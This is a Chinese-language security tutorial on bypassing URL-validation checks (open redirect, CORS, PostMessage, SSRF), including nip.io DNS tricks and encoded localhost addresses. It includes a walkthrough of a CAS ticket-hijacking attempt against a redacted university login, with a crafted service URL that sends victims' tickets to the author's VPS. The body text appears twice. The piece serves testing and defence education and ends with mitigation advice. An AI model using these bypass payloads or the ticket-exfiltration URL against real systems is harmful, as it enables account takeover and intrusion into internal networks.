实战URL校验bypass:浅谈静态DNS解析姿势与CAS票据劫持案例
字数 3370 2025-08-30 06:50:11

实战URL校验Bypass与CAS票据劫持技术详解

一、URL校验机制概述

在Web安全领域,URL校验是防御URL跳转、CORS、PostMessage跨域和SSRF等漏洞的关键环节。本文将系统介绍各类URL校验机制的缺陷与绕过技术,重点讲解静态DNS解析(nip.io)的独特绕过方法,并通过CAS票据劫持案例展示实战应用。

二、常见URL校验绕过技术

1. 仅校验是否包含合法域名

缺陷代码示例:只检查URL中是否包含目标域名

绕过方法

  • 目录混淆:https://evil.com/trusted.com
  • 特殊符号:
    • https://evil.com?trusted.com
    • https://evil.com#trusted.com
  • 子域名绕过:https://trusted.com.evil.com

2. 仅校验前缀是否合法

缺陷正则示例^https?://trusted\.com

绕过方法

  • 特殊符号绕过:https://trusted.com@hacker.com
  • 子域名绕过:https://trusted.com.hacker.com
  • 适用于:URL跳转、CORS、PostMessage跨域漏洞

3. 仅校验后缀是否合法

绕过方法

  • 特殊符号:同上
  • Nginx路由解析:
    • 构造URL:https://attacker.com/trusted.com
    • Nginx配置将/trusted.com代理到恶意后端

4. 内置内网域名利用

场景:目标系统配置了私有DNS解析(如*.trusted.com解析到内网IP)

方法:寻找并使用目标的内网域名(如http://localhost.trusted.com)

三、SSRF特有绕过技术

1. 本地IP校验绕过

编码方式

攻击类型 示例 解析结果
八进制编码 http://0177.0.0.1 127.0.0.1
十六进制编码 http://0x7f000001 127.0.0.1
十进制编码 http://2130706433 127.0.0.1
IPv6简写 http://[::] ::1
IPv4映射IPv6 http://[::ffff:127.0.0.1] 127.0.0.1

2. 重定向机制绕过

步骤

  1. 提供合法URL:http://attacker.com/redirect.php
  2. 服务端返回302跳转到内网:Location: http://192.168.1.1/admin

3. 未标准化处理的校验

缺陷正则示例^https?://.*trusted\.com

绕过方法

  • 域名混淆:https://fake-trusted.com
  • 特殊符号:https://attacker.com?trusted.com

四、静态DNS解析(nip.io)技术

1. nip.io特性

将任意域名按规则解析为对应IP的服务,支持多种IP格式:

  • 点分十进制:192.168.1.1.nip.io
  • 十六进制:0xC0A80101.nip.io
  • 十进制:3232235777.nip.io

2. 解析示例

  • 127.0.0.1.nip.io127.0.0.1
  • www.baidu.com.127.0.0.1.nip.io127.0.0.1

3. 实战应用场景

URL跳转漏洞绕过

  • 构造:https://trusted.com.1.2.3.4.nip.io
  • 实际解析到1.2.3.4,但校验匹配trusted.com前缀

CORS漏洞绕过

  • 伪造Origin头:Origin: https://trusted.com.1.2.3.4.nip.io
  • 后端误判为合法子域名

SSRF漏洞绕过

  • 直接访问内网服务:http://redis.192.168.1.1.nip.io:6379
  • 绕过IP黑名单

4. 局限性

  1. 部分企业网络拦截*.nip.io域名
  2. 需要目标服务支持Host头覆盖
  3. 不支持HTTPS证书验证,需自签名证书

五、CAS票据劫持实战案例

1. 漏洞发现

  • 目标:某大学统一身份认证平台(WebVPN服务)
  • 观察URL:http://sso-xxxx-edu-cn-s.webvpn.xxxxx.edu.cn:8888/authserver/login?service=http://test.xxxx.edu.cn/test/
  • service参数为内网URL,认证后重定向到该服务

2. 测试过程

  1. 替换域名测试:?service=http://www.baidu.com/test/ → 提示"服务未授权"

  2. 测试校验逻辑:

    • 后缀测试:?service=http://www.baudu.com?test.xxxx.edu.cn/test/ → 失败
    • 前缀测试:?service=http://test.xxxx.edu.cn@www.baidu.com/test/ → 成功
    • nip.io测试:?service=http://test.xxxx.edu.cn.nip.io/test/ → 成功
  3. 实际跳转验证:

    • 登录后成功跳转到百度,携带ticket参数:www.baidu.com/test/?ticket=ST-xxxxxx

3. CAS票据分析

  • ST-763536-CDQgs-...为CAS生成的Service Ticket
  • 校验流程:
    1. 应用收到ticket后向CAS的/serviceValidate接口验证
    2. CAS校验:
      • 票据由CAS颁发给同一service
      • 票据未使用且在有效期内

4. 票据劫持尝试

  1. 构造恶意URL:?service=http://test.xxxx.edu.cn@my_vps_ip/test/
  2. 受害者登录后,ticket发送到攻击者VPS
  3. Apache日志捕获ticket:ticket=ST-755166-8JfxJdTBwihzXK...
  4. 尝试使用劫持的ticket访问原始service → 失败

5. 失败原因分析

  1. Service-Ticket绑定机制

    • CAS会对service参数做URL规范化
    • 去掉userinfo部分(user@host解析为整体host)
    • 规范化后的service与注册的不一致会被拒绝
  2. Cookie会话隔离+WebVPN双重认证

    • 需要同时绕过WebVPN的Session Cookie和CAS Session Cookie
    • 仅获取ticket不足以建立会话

6. 可利用的前提条件

  1. CAS配置错误,允许不合法service请求验证
  2. 跳转逻辑错误,可注入带ticket的URL到合法页面
  3. 服务端使用GET请求中的ticket参数判定用户
  4. ticket未失效且可多次使用(非标准行为)
  5. 存在Open Redirect且不校验ticket来源

六、防御建议

1. 针对URL校验

  • 实施完整的URL校验:包括协议、完整域名、路径
  • 使用白名单而非黑名单
  • 对输入URL进行规范化处理

2. 针对CAS安全

  • 严格校验service参数,拒绝含特殊字符的URL
  • 实施一次性票据机制
  • 绑定票据与具体service,拒绝不匹配的验证请求
  • 使用HTTPS防止中间人攻击

3. 通用防御

  • 定期安全审计和渗透测试
  • 保持系统组件更新
  • 实施深度防御策略

七、总结

本文系统梳理了URL校验绕过技术体系,重点介绍了静态DNS解析(nip.io)的创新应用,并通过CAS票据劫持案例展示了高级组合攻击手法。安全防御需要从设计层面考虑各种边缘情况,实施严格的正向安全模型而非简单的黑名单过滤。

实战URL校验Bypass与CAS票据劫持技术详解 一、URL校验机制概述 在Web安全领域,URL校验是防御URL跳转、CORS、PostMessage跨域和SSRF等漏洞的关键环节。本文将系统介绍各类URL校验机制的缺陷与绕过技术,重点讲解静态DNS解析(nip.io)的独特绕过方法,并通过CAS票据劫持案例展示实战应用。 二、常见URL校验绕过技术 1. 仅校验是否包含合法域名 缺陷代码示例 :只检查URL中是否包含目标域名 绕过方法 : 目录混淆: https://evil.com/trusted.com 特殊符号: https://evil.com?trusted.com https://evil.com#trusted.com 子域名绕过: https://trusted.com.evil.com 2. 仅校验前缀是否合法 缺陷正则示例 : ^https?://trusted\.com 绕过方法 : 特殊符号绕过: https://trusted.com@hacker.com 子域名绕过: https://trusted.com.hacker.com 适用于:URL跳转、CORS、PostMessage跨域漏洞 3. 仅校验后缀是否合法 绕过方法 : 特殊符号:同上 Nginx路由解析: 构造URL: https://attacker.com/trusted.com Nginx配置将 /trusted.com 代理到恶意后端 4. 内置内网域名利用 场景 :目标系统配置了私有DNS解析(如 *.trusted.com 解析到内网IP) 方法 :寻找并使用目标的内网域名(如 http://localhost.trusted.com ) 三、SSRF特有绕过技术 1. 本地IP校验绕过 编码方式 : | 攻击类型 | 示例 | 解析结果 | |----------------|-----------------------|-------------| | 八进制编码 | http://0177.0.0.1 | 127.0.0.1 | | 十六进制编码 | http://0x7f000001 | 127.0.0.1 | | 十进制编码 | http://2130706433 | 127.0.0.1 | | IPv6简写 | http://[ :: ] | ::1 | | IPv4映射IPv6 | http://[ ::ffff:127.0.0.1 ] | 127.0.0.1 | 2. 重定向机制绕过 步骤 : 提供合法URL: http://attacker.com/redirect.php 服务端返回302跳转到内网: Location: http://192.168.1.1/admin 3. 未标准化处理的校验 缺陷正则示例 : ^https?://.*trusted\.com 绕过方法 : 域名混淆: https://fake-trusted.com 特殊符号: https://attacker.com?trusted.com 四、静态DNS解析(nip.io)技术 1. nip.io特性 将任意域名按规则解析为对应IP的服务,支持多种IP格式: 点分十进制: 192.168.1.1.nip.io 十六进制: 0xC0A80101.nip.io 十进制: 3232235777.nip.io 2. 解析示例 127.0.0.1.nip.io → 127.0.0.1 www.baidu.com.127.0.0.1.nip.io → 127.0.0.1 3. 实战应用场景 URL跳转漏洞绕过 构造: https://trusted.com.1.2.3.4.nip.io 实际解析到 1.2.3.4 ,但校验匹配 trusted.com 前缀 CORS漏洞绕过 伪造Origin头: Origin: https://trusted.com.1.2.3.4.nip.io 后端误判为合法子域名 SSRF漏洞绕过 直接访问内网服务: http://redis.192.168.1.1.nip.io:6379 绕过IP黑名单 4. 局限性 部分企业网络拦截 *.nip.io 域名 需要目标服务支持Host头覆盖 不支持HTTPS证书验证,需自签名证书 五、CAS票据劫持实战案例 1. 漏洞发现 目标:某大学统一身份认证平台(WebVPN服务) 观察URL: http://sso-xxxx-edu-cn-s.webvpn.xxxxx.edu.cn:8888/authserver/login?service=http://test.xxxx.edu.cn/test/ service参数为内网URL,认证后重定向到该服务 2. 测试过程 替换域名测试: ?service=http://www.baidu.com/test/ → 提示"服务未授权" 测试校验逻辑: 后缀测试: ?service=http://www.baudu.com?test.xxxx.edu.cn/test/ → 失败 前缀测试: ?service=http://test.xxxx.edu.cn@www.baidu.com/test/ → 成功 nip.io测试: ?service=http://test.xxxx.edu.cn.nip.io/test/ → 成功 实际跳转验证: 登录后成功跳转到百度,携带ticket参数: www.baidu.com/test/?ticket=ST-xxxxxx 3. CAS票据分析 ST-763536-CDQgs-... 为CAS生成的Service Ticket 校验流程: 应用收到ticket后向CAS的 /serviceValidate 接口验证 CAS校验: 票据由CAS颁发给同一service 票据未使用且在有效期内 4. 票据劫持尝试 构造恶意URL: ?service=http://test.xxxx.edu.cn@my_vps_ip/test/ 受害者登录后,ticket发送到攻击者VPS Apache日志捕获ticket: ticket=ST-755166-8JfxJdTBwihzXK... 尝试使用劫持的ticket访问原始service → 失败 5. 失败原因分析 Service-Ticket绑定机制 : CAS会对service参数做URL规范化 去掉userinfo部分( user@host 解析为整体host) 规范化后的service与注册的不一致会被拒绝 Cookie会话隔离+WebVPN双重认证 : 需要同时绕过WebVPN的Session Cookie和CAS Session Cookie 仅获取ticket不足以建立会话 6. 可利用的前提条件 CAS配置错误,允许不合法service请求验证 跳转逻辑错误,可注入带ticket的URL到合法页面 服务端使用GET请求中的ticket参数判定用户 ticket未失效且可多次使用(非标准行为) 存在Open Redirect且不校验ticket来源 六、防御建议 1. 针对URL校验 实施完整的URL校验:包括协议、完整域名、路径 使用白名单而非黑名单 对输入URL进行规范化处理 2. 针对CAS安全 严格校验service参数,拒绝含特殊字符的URL 实施一次性票据机制 绑定票据与具体service,拒绝不匹配的验证请求 使用HTTPS防止中间人攻击 3. 通用防御 定期安全审计和渗透测试 保持系统组件更新 实施深度防御策略 七、总结 本文系统梳理了URL校验绕过技术体系,重点介绍了静态DNS解析(nip.io)的创新应用,并通过CAS票据劫持案例展示了高级组合攻击手法。安全防御需要从设计层面考虑各种边缘情况,实施严格的正向安全模型而非简单的黑名单过滤。